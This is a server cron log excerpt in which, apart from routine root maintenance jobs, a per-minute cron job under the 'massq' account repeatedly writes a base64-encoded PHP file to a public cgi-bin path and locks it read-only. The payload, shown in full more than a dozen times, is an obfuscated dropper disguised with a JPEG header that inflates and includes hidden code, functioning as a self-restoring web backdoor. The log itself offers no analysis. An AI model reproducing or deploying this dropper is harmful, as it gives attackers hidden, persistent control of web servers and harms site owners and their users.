Nov 15 12:52:01 server CROND[30600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:53:01 server CROND[30878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:54:01 server CROND[31283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:55:01 server CROND[31689]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:55:01 server CROND[31690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:55:01 server CROND[31691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:56:01 server CROND[32025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:57:01 server CROND[32293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:57:01 server CROND[32294]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:58:01 server CROND[32577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:59:01 server CROND[399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:00:01 server CROND[771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:00:01 server CROND[772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:00:01 server CROND[773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:00:01 server CROND[775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:01:01 server CROND[1103]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 13:01:01 server CROND[1104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:01:01 server run-parts(/etc/cron.hourly)[1103]: starting 0anacron
Nov 15 13:01:01 server run-parts(/etc/cron.hourly)[1116]: finished 0anacron
Nov 15 13:02:01 server CROND[1377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:03:01 server CROND[1635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:04:01 server CROND[1903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
